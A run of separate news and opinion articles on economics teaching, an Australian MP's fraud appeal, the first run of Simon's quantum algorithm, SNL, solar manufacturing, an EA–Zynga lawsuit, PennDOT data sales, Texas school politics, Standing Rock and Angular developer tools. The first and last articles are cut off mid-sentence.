understand economics as a social science, rather than a physical science that requires testing of hypotheses;  Don’t understand money as a market commodity;  Don’t understand inflation as a monetary phenomenon;  Don’t understand interest rates as prices rather than policy tools;  Don’t understand inflation and interest rates and can’t explain booms and busts;  And perhaps worst of all, they often know nothing about the history of economic thought. They’ve simply accepted, without context, a host of assumptions that make up modern mainstream economics.  Think about that! It’s as though bloodletting had become the consensus mainstream medical approach to treating disease — and 80 years later doctors simply focused on the rate of bloodletting, or the timing of bloodletting, or the least painful approach to bloodletting.  By "broken," I don’t mean that the profession of economics doesn’t provide benefits for those working within it. It provides these benefits in spades. I mean it is broken in the same way universities are broken — that it no longer serves truth or society or humanity, but instead serves an agenda.  It starts with the wrong premises, asks the wrong questions, applies the wrong methods, and not surprisingly arrives at the wrong conclusions.  And we let it happen. We allowed the “academicization” of a field that we once expected high school graduates to reasonably grasp. We can call it formalism, or scientism, or just the intrusion of mathematics — but it represents nearly a century of diversion from classical and Austrian economics.  At some point in the the 20th century, we all became convinced that certain fields were too complicated and too technical to understand. We let a group of technocratic elites capture economics for their own purposes. We were encouraged to throw up our hands and say “I give up,” and leave everything to the experts. Economics is like advanced physics, not something us average people should worry about.  Economists went on to embrace “mathiness” in economics, and many economists believe that any economics question can be posed in mathematical language. And, once posed, it is believed economists can reach definitive conclusions based on these mathematical models.  Mises certainly did not see economics as a mathematical exercise. He understood economics as a subset of praxeology, of human action, and therefore proper for all intelligent people to study. It is the human elements of consciousness and volition that distinguish economics from physics and chemistry and math.  And yet, while we would be alarmed if our children graduated from high school unable to write in complete sentences, or unable to perform basic algebra, balance a checkbook, or unable to make change at a cash register, we don’t mind sending them out into the world without a single economics class — completely vulnerable to politicians and supposed experts.  And we see this in the political debates, where the same falsehoods are repeated year after year.  It helps us understand how we arrived at a time and place where Ben Bernanke, Paul Krugman, Thomas Piketty, and Christine Lagarde are viewed as modern mainstream thinkers rather than the radicals they are when compared to the whole history of economics.  Making Economics Matter  So what do we do to correct this? How do we make economics less dismal and more relevant, so that we’re not a nation of gullible voters who fall for political nonsense? How do we convince young people that economics matters? And most of all, how do we save economics from professional economists?  I think first and foremost we need to accept that academia is captured. The Mises Institute continues to produce Fellows who go on to careers at universities around the world, and establish Austrian-friendly economics departments. We may not like it, but reclaiming academia professor by professor is an enormous task. The return on investment is far greater when we focus on young people and intelligent laypersons.  Second, we need to understand that it’s up to us to create the economics education the world needs. Thanks to the digital revolution, new structures and new platforms can be built far faster and far cheaper than we ever imagined. We can invert the classroom, do away with make-work curricula, and align economics education with the marketplace by teaching people only what they want and need. We can reject the one-way lecture production model that universities still cling to 2,000 years after Aristotle.  Mises Academy, for example, makes a core group of Austrian economics courses available to anyone, anywhere, free of charge.  Finally, we must return to Mises’s more visceral approach and make economics real again. Like progressives, we shouldn’t be afraid to appeal to the heart as well as the head.  When we view economics as the stuff of life, we energize and humanize the subject. When we approach economics more like philosophy, as the study of general and fundamental human problems involving knowledge and reason, we create a whole new perspective. When we introduce logic and metaphysics into the discussion of economics, we make it a more vital subject. Economics is not an equation to be balanced, or a model to be filled with statistics. By restoring its role as a theoretical social science, we can restore its popularity among bright young people who really do want to change the world.  Conclusion  In closing, let me say that we don’t have to abandon intellectual rigor to “sell” Austrian economics. But we do have to make it more relevant and vital to the average person, by reclaiming it from the academics and asking the visceral questions: “why are we so rich?” and, “what if it all went away?”  But we can’t begin to do that — we can’t begin to understand or address what I would say are very serious structural economic problems — when the very science that is tasked with studying them has lost its way. So let’s reclaim economics from academia, from mathematicians, from politicians, and especially from the state and it’s court of intellectuals.  Jeff Deist is president of the Mises Institute. He previously worked as a longtime advisor and chief of staff to Congressman Ron Paul. Contact: email; twitter.
-A barrister representing Craig Thomson has told a judge the former federal MP lied about using union money to pay for sex because he was "under attack for moral turpitude" at the time.  Thomson, 50, was in March jailed for three months, with nine months suspended for two years, after a magistrate found he used more than $24,500 of Health Services Union funds for personal benefit while he was the union's national secretary from 2002 to 2007.  But the former Labor member for the NSW seat of Dobell has not served any of that jail term because his legal team launched an immediate appeal against the conviction imposed bymagistrate Charlie Rozencwajg.  The appeal before County Court judge Carolyn Douglas finished on Tuesday. She is due to announce her finding on December 15.  Barrister Greg James, QC, representing Thomson, told Judge Douglas on Tuesday that his client lied to Channel Nine's Laurie Oakes in a May 2012 interview at the height of the scandal.
-The first piece of software to show the potential of quantum computing has finally been run on a real machine, 20 years after it was initially dreamed up. Although it doesn’t do anything useful on its own, implementing the algorithm could lead to more practical computers powered by the strange properties of quantum mechanics.  Quantum computers should be much faster than ordinary ones, but only at tasks for which there is a quantum algorithm – software that takes advantage of the computer’s quantum nature. Without these algorithms, quantum computers are just regular computers that are much harder to build.  One of the best-known pieces of quantum software is Shor’s algorithm, which factorises large numbers into their prime components – a notoriously slow and difficult problem to solve classically. Shor’s algorithm has been run in a limited way using photons sent through the air and on silicon chips – but a full-blown quantum computer capable of running it could threaten online encryption, which relies on large primes.  Designing an algorithm that takes advantage of a quantum computer is tricky, so there aren’t many around. In 1994, Daniel Simon, then at the University of Montreal, Canada, came up with one of the earliest examples. Crucially, his was the first that showed a quantum computer could solve a problem exponentially faster than an ordinary computer. Previous algorithms had only shown a slight speed boost, or none at all.  Advertisement  Sceptical  Simon was a quantum computing sceptic, but in attempting to prove they would never be useful, he stumbled across a problem that showed the exact opposite. Imagine you feed a string of bits, like 0101, into a black box and get another string, like 1100, out in return. There are a finite number of possible outputs, but you don’t know how the black box produces them. Simon’s problem asks: does the black box give a unique output for every possible input, or do some inputs give a common output? The problem doesn’t show up in any real-world applications, but Simon’s algorithm for solving it inspired the more useful Shor’s algorithm and the field of quantum computing as a whole.  “It has a kind of special place in the history of the development of quantum algorithms,” says Mark Tame at the University of KwaZulu-Natal in Durban, South Africa. “However, despite being the first to show that an exponential gap exists, it was surprisingly never experimentally realised in all the years since.”  That’s why Tame and his colleagues have now run Simon’s algorithm for the first time. They used a one-way quantum computer, so-called because it uses up some of the qubits, or quantum bits, during calculation. The computer used six photons as qubits to solve a two-qubit version of Simon’s problem, the simplest possible. The algorithm is probabilistic, meaning you have to run it multiple times to get an answer.  Completed jigsaw  Tame’s quantum computer needed an average of two runs to succeed, while an ordinary computer needed an average of eight-thirds runs – the first step in an exponential speed-up in line with theoretical predictions. “For me it has been like finding the missing piece of a jigsaw and putting it in its place to complete the picture,” he says.  “I don’t think I ever really thought about anyone bothering, since it’s not of practical value in itself,” says Simon, who now works in computer security at Microsoft. But Tame says running the algorithm has helped test the team’s one-way quantum computer, and they now hope to build more advanced versions. “The demonstration was more a proof of principle,” says Tame.  “It’s great that someone finally got around to doing this,” says Scott Aaronson at the Massachusetts Institute of Technology, though he isn’t convinced the speed-up itself matters. “The right question is not what ‘speed-up’ you’re getting today, but what experimental advances you’ve made that could lead to a real speed-up in the future.”  Reference: arxiv.org/abs/1410.3859, accepted to Physical Review Letters
-A former “Saturday Night Live” star is bashing President Trump, calling him a “moron” who “struggled” to read scripted jokes when he hosted the show as a White House hopeful.  Having Trump guest host the NBC sketch comedy series in December 2015 was “not fun,” former cast member Taran Killam told Brooklyn magazine in an interview published this week. Most of the “cast and writers were not excited to have him there,” the 35-year-old comedian says.  “I didn’t get the feeling that he was excited to be there, and it felt like a move for ratings from both sides,” Killam says.  ADVERTISEMENT  Other presidential contenders, including Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.) and his then-rival for the Democratic presidential nomination, Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE, also made cameos on the show during the 2016 race.  When asked if Trump was “unpleasant,” Killam replies, “He was ... everything you see. What you see is what you get with him, really. I mean, there was no big reveal.”  Killam, who parted ways with “SNL” in 2016 after a six-year run, told the mag that the 70-year-old real estate mogul “struggled to read at the table read, which did not give many of us great confidence. Didn’t get the jokes, really. He’s just a man who seems to be powered by bluster.”  Since appearing on the show, Trump has repeatedly taken aim at “SNL” and Alec Baldwin’s recurring impersonation of him. Trump wrote in a tweet last December that the series was “totally biased,” “not funny,” and “unwatchable.”
-Suniva has the same reasons to flee the U.S. as Evergreen, like higher labor costs at home and unpredictable subsidies (the manufacturing credit for solar was not renewed this year, Ashley said). But it benefits from an intimate relationship with a research university center supported by the Department of Energy. Not every company is so lucky.  "A lot of the work [the center] has done for other companies left our shores from a manufacturing perspective," Ashley acknowledges. "[The U.S.] is great at research and innovation, but we seriously lack the policies in financing to help scale a new industry very quickly."  Suniva exports 80 percent of its production. The White House or Ex-Im Bank would hold this up as thrilling evidence of a globally competitive company. Ashley would add that it also shows a depressing lack of U.S. demand for solar.  "More people would manufacture [solar products] here if demand was here," Ashley says. "We need a renewable energy standard to create a market in the United States. If demand is overseas, then I'll move factories to other parts of the world. That's just good business."  There's more the government can do. First, Ashley asked for an extended manufacturing tax credit for solar ("People talk about support for solar being crony capitalism but 10-times more money goes into fossil fuels"). Second, he called for a national "green bank" to provide quick financing for new companies' proven breakthroughs in clean tech. "We don't have the policies or incentives to help manufacturers scale up," he says. "That's why we've lost manufacturing to the rest of the world." Third, he asked for corporate tax reform to encourage established firms to do business at home.  ***  Suniva is a beacon and a warning sign. The company's rapid growth demonstrates that the U.S. can compete in green technology. But not every company can bank on a DOE-funded university research incubator that churns out patents. If this is what it takes to be competitive in solar, then the U.S. government either has to get really serious really fast about ramping up its attention to green energy, or else we need to accept that other countries are going to continue to lead in building the foundation for the clean tech revolution, if and when it comes.  Source: Wikipedia
-Today, on behalf of Maxis, EA filed a lawsuit against Zynga over their game, The Ville. I thought it would be useful to draft a post to explain the substance and background of this decision.  The core legal issue is our belief that Zynga infringed copyrights to our game, The Sims Social. In legal terms, our claim is that Zynga copied the original and distinctive expressive elements of The Sims Social in a clear violation of the U.S. copyright laws.  The legal reasons are solid. But for creative teams who feel that their hard work and imaginations have been ripped off, there’s obviously an emotional element too.  When we launched The Sims Social in August 2011, Maxis brought the distinctive universe of our world-renowned franchise, The Sims, to Facebook. We created a game that allowed players to create Sims that can interact with the Sims of their Facebook friends. It was an instant hit, gaining tens of millions of users, many of whom continue to play the game after nearly a year since launch.  As outlined in our complaint, when The Ville was introduced in June 2012, the infringement of The Sims Social was unmistakable to those of us at Maxis as well as to players and the industry at large. The similarities go well beyond any superficial resemblance. Zynga’s design choices, animations, visual arrangements and character motions and actions have been directly lifted from The Sims Social. The copying was so comprehensive that the two games are, to an uninitiated observer, largely indistinguishable. Scores of media and bloggers commented on the blatant mimicry.  This is a case of principle. Maxis isn’t the first studio to claim that Zynga copied its creative product. But we are the studio that has the financial and corporate resources to stand up and do something about it. Infringing a developer’s copyright is not an acceptable practice in game development. By calling Zynga out on this illegal practice, we hope to have a secondary effect of protecting the rights of other creative studios who don’t have the resources to protect themselves.  I’m certain there will be a response. Some will say The Ville simply iterates; some will tell us to get over it and move on. We are confident in our position, and that we will prevail.  But even if we do not, we will have made a point.  As a longstanding game developer, I know what it feels like to pour your heart and soul into creating something unique and special for your fans to enjoy. Today, we hope to be taking a stand that helps the industry protect the value of original creative works and those that work tirelessly to create them.
-Please enable Javascript to watch this video  HANOVER TOWNSHIP -- Should PennDOT be making money by selling our personal information? That's a question some drivers are asking after we discovered that PennDOT is making tens of millions of dollars every year by selling the personal information of drivers. And there's no way for drivers to stop it.  Drivers walking into the DMV in Hanover Township near Wilkes-Barre know they have to follow the rules of the road to keep their licenses.  But what your driver's manual doesn't tell you is the state is cashing in on your driver's license data.  Since 2010, PennDOT earned $157 million selling driver information, like your name, address and up to 10 years of traffic violations.  PennDOT uses the money to fix roads and the information is sold to insurance providers and companies that provide background checks. But there's no way for drivers to opt out of that information sharing.  Now, a new report is raising concern that your personal driver's license information could potentially end up in the wrong hands, like the hands of hackers or identity thieves.  Sterling Infosystems is one company that bought driver data from PennDOT. An audit obtained by Newswatch 16 reveals Sterling was not following the state's required procedures when handling driver's information.  According to the audit, Sterling was, "unable to provide a complete and accurate listing of their customers, "which, "increases the risk that the responsible party would not be identified if there was a security breach."  Experts do not think someone's identity could be stolen with just the information you hand to PennDOT. But they warn hackers could use your name, address, and driving history, to find information about you that could lead to identity theft.  "Any piece about you is just a piece of the puzzle," said Jeff Chopick, Custom Computers. "They could take that and then with other information, steal your identity."  PennDOT admits it relies on drivers to come forward and report any possible abuses of their personal information. But officials also point out there are consequences for any companies that buy the data if PennDOT discovers those companies are not following procedures.  "This particular company, Sterling, was a little sloppy in their procedures, and as a result, are now cut off from the records," said PennDOT official Rich Kirkpatrick.  "PennDOT points out while Sterling ignored some procedures that could lead to data, the audit did not indicate any personal information was compromised.  Click here to read the results of the audit.
-Allies: Christian beliefs cost Texas schools chief his post School board reins yanked from McLeroy  Supporters say his Christian beliefs cost him the post  Don McLeroy, shown in 2000, believes in creationism. Don McLeroy, shown in 2000, believes in creationism. Photo: HARRY CABLUCK, Associated Press File Photo: HARRY CABLUCK, Associated Press File Image 1 of / 1 Caption Close Allies: Christian beliefs cost Texas schools chief his post 1 / 1 Back to Gallery  AUSTIN — In a rare rejection of an appointment by the Texas governor, the Senate Thursday ousted Don McLeroy as chairman of the State Board of Education, with his supporters claiming the Bryan dentist was the victim of his strong religious beliefs. McLeroy is a devout Christian who believes in creationism and the notion that the Earth is about 6,000 years old. He has steadfastly argued that Texas students should be taught the weaknesses of evolution. His opponents portrayed him as “a decent human being” lacking leadership skills to chair the board divided between social conservatives and others. He will remain a member of the board. “It’s not about evolution versus creationism, and it’s not about Democrats versus Republicans,” Sen. Kirk Watson, D-Austin, told his colleagues. “This is not about partisanship. Please forget all the shouting and protests about this nomination from day one. This is about his leadership as chairman.” McLeroy’s hometown senator, Steve Ogden, R-Bryan, defended the chairman, saying “his service has not been incompetent, illegal or out of bounds.” “I think Texas is watching here because I think, whether intentional or not, there will be a perception … that we are applying a religious test for serving in this state,” Ogden said. Earlier this year, the State Board of Education approved new science curriculum standards that changed a long-standing Texas tradition over how schoolchildren learn about evolution. The vote did away with a provision that Texas students be instructed on the strengths and weaknesses of evolution and the theory about the origin of life developed by Charles Darwin 150 years ago. “If this isn’t about evolution, if this isn’t about what the Bible teaches, what is it all about?” asked Sen. Dan Patrick, R-Houston, referring to opposition to McLeroy. Democrats argued that McLeroy’s leadership has polarized the board, and that he has disregarded experts in the shaping of science curriculum standards and English, language arts and reading standards for 4.7 million Texas public school children. “The state board has become increasingly divided and deeply dysfunctional and almost paralyzed to action at certain times,” Sen. Leticia Van de Putte, D-San Antonio, said. Senate confirmation of gubernatorial appointments requires a two-thirds vote. McLeroy won the support of all 19 Senate Republicans, but 11 Democrats voted against him. It takes 11 votes to block an appointment. Sen. Eddie Lucio, D-Brownsville was present but did not vote. The Senate seldom rejects gubernatorial appointments. The Senate’s blocking of McLeroy will force Gov. Rick Perry to appoint a new board leader.  gscharrer@express-news.net
-After nearly a year of clashes between activists and law enforcement officials, Dakota Access Pipeline protesters were ordered to leave their largest permanent encampment on the banks of the Missouri River on Wednesday afternoon. Though officials said that a few hundred activists remained after the deadline, the majority had evacuated the flood-prone encampment on federal land near the Standing Rock Sioux Reservation.  While the Obama administration, heeding the calls of the protesters, halted the progress of the Dakota Access Pipeline last fall, President Trump cleared the way for the project in the first week of his presidency. Construction resumed earlier this month. North Dakota Governor Doug Burgum and the Army Corps of Engineers, which is overseeing construction of the pipeline, ordered protesters to leave.  The demonstration was among the largest environmental protests in U.S. history, and united Native American tribes long-divided by cultural tensions, while calling attention to two of the greatest issues facing the country right now: climate change and institutionalized racism. As the last of the protesters are removed, we look back at the five essential stories about the protests and their legacy.  1. "What’s Happening at Standing Rock?" (Outside)  In Late August, Outside’s Mark Sundeen loaded up his station wagon and drove to the demonstration site:  Several thousand Native Americans from around the country had arrived at Standing Rock, the 3,500-square-mile reservation with 8,250 residents. They were joined by a smattering of earthy white folk and a crew of Black Lives Matters activists from Minneapolis. The camp was just outside the boundary on land administered by the Army Corps. State troopers blocked the highway to Bismarck, allowing protesters—or “protectors,” as they insisted on being called—to leave but not return.  Sundeen’s September article details the early stages of the Standing Rock protest, when Tribal Chairman David Archambault II and others were arrested blocking excavating machinery and halting the construction of the $3.7 million project. Not long after, inspired celebrities like Leonardo DiCaprio were tweeting about the movement and the hashtag “#NoDAPL” emerged.  This account of the movement’s early days describes the manner in which the camp was formed and the prevailing spirit of unity that brought Native Americans and other activists to Standing Rock from all over the country.  In five days I witnessed no violence, lawlessness, alcohol, or even hostility. A couple speakers even welcomed “European relatives” such as myself. The days were filled with peaceful marches and prayers at the idle construction site, ceremonial welcoming of newly arrived tribes, and as afternoon temps rose to the nineties, flinging ourselves into the cool waters of the once-mighty Cannonball.  2. "Reckoning at Standing Rock" (High Country News)  In October, Paul VanDevelder placed the Standing Rock movement in historical context in a long article for High Country News. This piece traces the United States’ relationship with Native Americans back to the founding fathers and our country’s earliest treaties with indigenous populations. VanDevelder compares and contrasts the way in which Standing Rock relates to previous land wars, treaty negotiations, and conflicts surrounding the protection of Native American rights. The article details how United States policy evolved from George Washington to Andrew Jackson and beyond.  If we could conjure the ghosts of Andrew Jackson and his contemporaries and restore them to flesh and blood in the 21st century, nothing would surprise them more. When Jackson was elected to the White House in 1828, the extinction of the Indian looked as inevitable as tomorrow’s sunrise. But the Indians, who are nothing if not careful students of historical ironies, fooled everybody. Today, they comprise about 1 percent of the nation’s population, but the outback real estate they were forced to accept in the 19th century holds approximately 40 percent of the nation’s coal reserves.  For anyone hoping to better understand the broad and complex history of the United States’ relationship with tribal nations, reading this is a must.  3. "Standing Rock’s Next Big Challenge: Surviving a Brutal Winter" (Outside)  Grayson Schaffer spent his Thanksgiving at Standing Rock in order to see how well equipped the camp was for a brutal North Dakota winter where record lows approach 50 below. The Thanksgiving holiday was one of the last stretches of warm weather, and since then protesters have been battling the elements. This piece details the provisions undertaken by Native Americans and activists in order to prepare for the winter.  “The Sioux method of camping avoids digging into the land. Teepees are set on the ground, not dug in. To prepare for the snow, hay bales are ringed around the edges to function as a skirt. In previous generations, they would have had buffalo hides to drape over their teepees as insulation, but many of the modern iterations are made from canvas or even plastic, in which case it's known as a tarpee.”  Schaffer’s piece offers images and anecdotes regarding the manner in which activists came together to support each other, share resources, and persevere through the dark, cold days that followed.  As we left camp, cold rain was falling. By midnight the rain had turned into sideways snow and North Dakota governor Jack Dalrymple was calling for a weather-related evacuation of the camp. But nobody moved. The firewood had all been cut and stacked under canopies. People piled together in tents and teepees and old travel trailers. The North Dakota winter has arrived, but the camp appears to be weathering it.  4. "The View From Sides of the Standing Rock Front Lines" (New York Times)  This New York Times piece from early November is one of the most balanced accounts of the Standing Rock controversy. Jack Healy visited the camp in late October and spent time with two men on opposite sides of the issue—Mekasi Horinek, a leading Native American activist, and Deputy Jon Moll of the Morton County Sheriff’s Office in North Dakota. This article attempts humanize not only the Native American protesters, but also the officers responsible for keeping peace at the protest site and, when necessary, enforcing the law.  For months now, Mekasi Horinek and Deputy Jon Moll have lived these demonstrations, day in and day out. But they fall on opposite sides of the front lines, reflecting a community that is as divided as, well, oil and water.  This article relays the perspectives and personal histories of Horinek and Moll, both of whom deny accusations that they are the “bad guys.” This piece is worth reading if you’re looking for a refreshing bit objective news coverage that offers an empathetic account from both sides of the Standing Rock controversy.  5. "The Last Days in Standing Rock" (Outside)  Mark Sundeen returned to Standing Rock in early December to see how the camp had evolved from what he’d witnessed four months earlier. Protesters had been ordered to leave by December 5, so Sundeen traveled back to the camp for a firsthand glimpse of how things were going. Winter was in full swing, and morale was significantly lower than it had been during his first visit.  The camp, which initially was comprised of about 80 percent Native Americans, was now only about 20 percent natives, Sundeen wrote. He noticed that the indigenous population and influence had been diluted by the influx of white activists from all over the country.  This sacred camp, a beacon for tribal sovereignty, had eroded into a place where Indians were bossed by whites and presumed to be criminals. It had become like the rest of America.  This piece offers another detailed, intimate dive into the daily life of Standing Rock protesters, and traces the evolution of the movement. Ultimately, while some protesters remained at Standing Rock, many left seeking refuge from the weather and following evacuation orders.
-In this article we’re going to quickly explore 7 Angular development tools which can make our everyday life easier. The purpose of the list is to not be opinionated architecture wise. This means that we’re not going to discuss tooling which has impact over our choice of application state management, data layer, etc. For instance, although packages like ngrx/store devtools, universal, and others are amazing once we’ve chosen a specific architectural approach, we’re going to keep them out of this article because they assume we’re using a specific way of state management or application rendering.  The software below can improve our productivity as developers by providing scaffolding, static code analysis, code generation, code visualization and debugging support!  Number one tool for Angular which provides well encapsulated build and scaffolding is Angular CLI.  Angular CLI is a tool developed by Google and allows us to quickly bootstrap projects by automatically providing our build configuration, testing configuration (unit with karma & jasmine and e2e with protractor), and more. The CLI is based on webpack which means that it takes advantage of the different webpack loaders available, and performs tree-shaking for producing small bundles.  The Angular CLI is being developed by the Angular team which means that it provides smooth integration with other projects such as, Angular Core, Angular Material, Angular Mobile Toolkit, etc. For instance, soon Angular CLI will run the development build of our applications with ngc which will unify the production and development builds, reducing the learning curve and allowing developers to have predictable compilation behavior across different environments.  In case you’re just getting started with Angular, you should start your project with Angular CLI. This will dramatically improve your productivity and optimize the learning experience of the entire ecosystem. In case you have very deep understanding of the available tooling and you want to squeeze your production bundles to minimum with a custom solution you can always ng eject your application out of the CLI, or use an Angular starter project.  Big thanks to the guys helping to make the CLI awesome, including (but not limited to) Hans, Mike and Filipe. 👏  Very common mistakes that developers using a dynamic language (such as JavaScript) do is to misspell a method or a property name. TypeScript already can warn us about this thanks to tsc and it’s type system, however, this wasn’t possible within the strings representing our components’ templates. The language service of Angular provides the same type checking and auto completion, that we’re used to from TypeScript, in inline and external templates!  The language service is developed by the Angular core team. At the time of writing, it is ready to use in VSCode, Sublime Text and WebStorm.  Behind the scene the language service uses the Angular compiler for parsing our application and producing diagnostics. It decorates the TypeScript language service in order to reuse its logic. The most awesome thing about the language service is that it is not coupled to a specific Angular version and can be used in any text editor and IDE as soon as there’s an available plugin.  More about the language service can be found in the ng-conf talk by Chuck Jazdzewski (the creator of the language service) “Using the Angular Template Language Service”.  The language service can be found here.  Have you ever worked on an application where you had to automatically generate the API documentation? For JavaScript we have tools like ESDoc which take the JSDoc annotations and automatically generate documentation for us. The end result usually looks something like this.  This is enough for most projects but Angular provides some extra semantics on top that can make our documentation even richer! For instance, it allows us to list all the different UI components just by grabbing all classes decorated with @Component . Well, compodoc already does this for us!  Compodoc has support of JSDoc light, generates search, table of content, has variety of good looking themes and is open source, available on GitHub!  Behind the scene compodoc uses ngd for parsing our Angular applications by using the TypeScript parser.  The guys from the Angular community working on this awesome tool are Vincent and Wassim.  More than a year ago I started codelyzer with the motivation to automatically verify that given project follows the official Angular Style Guide. Initially the project started as a couple of rules on top of tslint which based on the Angular Style Guide were validating the selectors of our components, proper implementation of life-cycle hooks, etc.  Since then, the scope of codelyzer has grown! Now it uses the Angular template and CSS parsers in order to provide more sophisticated analysis of our application. On top of verifying that our project follows the style guide, codelyzer can also detect misspelled variables in our templates, find dead styles and even automatically migrate a project between breaking changes & deprecation across Angular versions!  If you’re using Angular CLI, by running ng lint you’re already getting diagnostics from codelyzer which makes sure your code is following best practices!  Behind the scene, codelyzer performs either flat (per file) or deep (per project) static analysis of our project. The diagnostics that codelyzer will produce includes:  Validity of the directive and component selectors according to the style guide.  Best practices related to the declaration of the metadata of our projects.  Proper implementation of life-cycle hooks.  Proper component and directive naming.  Compatibility with ngc.  Detection of dead CSS.  etc.  You can find instructions of how to use codelyzer here.  Are you tired of all the boilerplates when declaring a new Angular component, directive or a service? The process is manual, slow and with the tooling available nowadays, unnecessary!  John Papa created a package of snippets for VSCode which improves our productivity by reducing the amount of boilerplate work that we need to perform when:  Bootstrapping an Angular application.  Declaring a new component.  Declaring guards.  Declaring directive.  Declaring a route.  Declaring a service.  etc.  You can take advantage of the snippets by installing the VSCode extension available here.  Debugging an Angular application may get tricky. How our UI gets rendered often depends on large amount of mutable state across components, directives, services, stateful pipes. Fortunately, inspecting the state does not have to be always related to setting break point or debugger statements within the bodies of the individual building blocks of our app. In order to explore the dependencies of given component or a service, we don’t have to always dig into our codebase!  Augury is a Chrome extension which will plug into our Chrome DevTools. Once loaded, it will help us explore the relations between the individual components in our application which are visible on the page. We can trace the component state and modify it from provided inputs, we can manually trigger events, directly jump to the source code for a specific symbol and much more!  You can install Augury here.  Augury allows us to efficiently debug our application by performing dynamic code analysis which requires us to run the application. This way we can inspect the structure and the behavior of a project.  Sometimes, we are only interested in the structure of given application. This especially true when we are new to a project and we want to explore it’s individual building blocks as quickly as possible. In such case, we don’t even need to struggle with the deployment of the application, which often may not be trivial. In this scenario the dynamic code analysis is not very convenient because all what we want is to explore the different abstractions level by level, without running the application.  For instance, we can start by seeing the top-level modules of our application and their relations, after that exploring the individual modules’ declarations and exports, understanding the relation between the different providers, components, their templates, etc.  On ng-conf 2017 I announced ngrev. This is a tool for reverse engineering of Angular applications which allows us to visually explore the individual building blocks forming our project.  Under the hood, ngrev uses ngast. ngast is a project which provides a simple interface for parsing Angular projects. By playing around with it, you can build custom tools which statically analyze Angular projects for different purposes (performance, security, etc). Internally, ngast uses the Angular compiler, which automatically allows the most efficient and complete possible metadata collection.  You can find ngrev here and its Windows, Linux & Mac binaries here. More about ngrev here.  Conclusion  In this article we explored a couple of tools which can improve our development experience dramatically! Starting from project scaffolding with the Angular CLI, going through efficient development with the Angular Language Service and Angular Snippets, to dynamic and static code analysis for easy debugging and reverse engineering!  Most of the projects we explored are developed by the Angular community which is a great sign for how convenient for tooling the framework is.  Give these tools a try! I’d love to get your feedback on using them in the comments section below.
-A common mistake is the assumption that US Jews care more about Israel than life in the US [GALLO/GETTY]  A congressional aide contacted me last week to tell me a story that he believed illustrated a point I often make.  His boss was visited by a group of eight senior citizens from his district. They had travelled to Washington with a group of retired teachers and decided, on the spur of the moment, to visit their representative. They had no appointment so they did not expect to see him but wanted to see the office, if nothing else.  The aide greeted the group, looked at the congressman's schedule, and decided that he could at least come out to say hello. He took the names and brought them in to his boss. The congressman perused the list and said, "The names are all Jewish. Are they from a Jewish organisation?" The aide said they were not and explained that they were older people on a bus tour sponsored by a charter travel group that catered mostly to retired educators.  The congressman (a Democrat) went out and delighted the group by ushering them into his office and talking to them for half an hour. He opened by telling them how strongly he supported the Obama administration's opposition to the Palestinian bid for UN recognition and how much he enjoyed Israeli Prime Minister Binyamin Netanyahu's speech before a joint session of Congress. He elaborated on the Israel issue for a while and then asked for questions.  There was not one reference to anything he had said about Israel or any foreign policy issue. The only issues the visitors wanted to discuss were Medicare and "why Obama doesn't fight harder" against the Republicans. As Democrats, they all intended to support Obama for re-election but were disappointed with the president, especially for extending the Bush tax cuts.  The aide said that, afterward, the congressman chided him a little for not telling him that the group was not particularly interested in the Middle East. The aide said that he had not said that they were. It was the Congressman's assumption that their Jewish names meant that they cared primarily about Israel.  The congressman made a common mistake. Politicians assume that the main issue American Jews care about is Israel. To be blunt, a cheque to a political campaign from someone with an obviously Jewish surname will be chalked up to the candidate's support for Israel, unless the donor specifically indicates otherwise.  It isn't hard to understand how members of Congress, and even the president, came to the conclusion that the foremost issue for Jewish donors and voters is Israel. After all, that is precisely what they hear from the lobby and its cutouts (in the media and Congress itself). The lobby promotes the idea that Jews are single-issue voters who only care about Israel. They do that to enhance their own clout and to prevent policymakers from deviating from the lobby line.  Avoiding profiling  But the polls consistently show that Jews, like most Americans, are primarily concerned about domestic issues such as jobs, choice, the environment, equality, Medicare, etc. During the 2008 presidential election, the American Jewish Committee polled Jews on the issues that were most important to them. Fifty-four per cent said the economy. Eleven per cent said health care. Five per cent said terrorism. Three per cent said Israel.  It was against that backdrop that 78 per cent of Jews voted for Barack Obama in 2008, not because they thought he was "better" on Israel than uber-hawk John McCain.  This brings us to the current drop-off in Jewish support for President Obama. According to a Gallup poll published on September 16, Obama's approval rating among Jews is now down to 54 per cent from 83 per cent at his inauguration.  Naturally, the lobby and its acolytes are blaming Obama's significant slippage on the Israel issue. They say Jews are abandoning him because he is too tough on Prime Minister Netanyahu.  However, the fact is that there has never been a US president who has been so supportive, for better or worse, of every position taken by an Israeli prime minister. No doubt some Jews oppose Obama, citing Israel, but they are the same ones who didn't like him in 2008. And some may have been duped by the Republican Jewish Coalition into believing that a president admired even by Israel's rightist foreign minister, Avigdor Lieberman, is anti-Israel. Let me be clear here. I don't approve of the president's support for Netanyahu, which is obviously politically calculated and bad for the United States, the Palestinians, and Israel. But anti-Israel? Not only is that charge a lie, but those making it know it's a lie.  No, it's not Israel that has produced the decline in Obama's standing among Jews. The reason for the decline is that Jews are Americans and support for the president is down among all Americans. And the reason it is down among Jews, as for their neighbours, is because joblessness is above nine per cent and the economy shows few signs of recovery.  For politicians, including, notably, President Obama, to behave as if their Jewish constituents are more concerned about Israel than they are about their own families and neighbours here comes very close to acceptance of the libel that American Jews are more loyal to Israel than to the United States. The fact that the lobby and its associated organisations tell them that Jews care primarily about Israel is no excuse. To believe it and to act on that belief is offensive. Worse than offensive.  American Jews have been good and loyal Americans ever since they arrived on these shores. They understand and appreciate that America has been, since its creation, the safest place in the world to be Jewish. They understand and appreciate that the US Constitution, and particularly the First Amendment's separation of church and state, have guaranteed their rights ever since George Washington himself welcomed Jews:  May the children of the stock of Abraham who dwell in this land continue to merit and enjoy the good will of the other inhabitants - while everyone shall sit under his own vine and fig tree and there shall be none to make him afraid.  This is not to say that American Jews do not care about Israel. They do. But their national homeland is the United States and those who imply otherwise - especially lobbyists and pandering politicians - insult us all.  MJ Rosenberg is a Senior Foreign Policy Fellow at Media Matters Action Network.  A version of this article 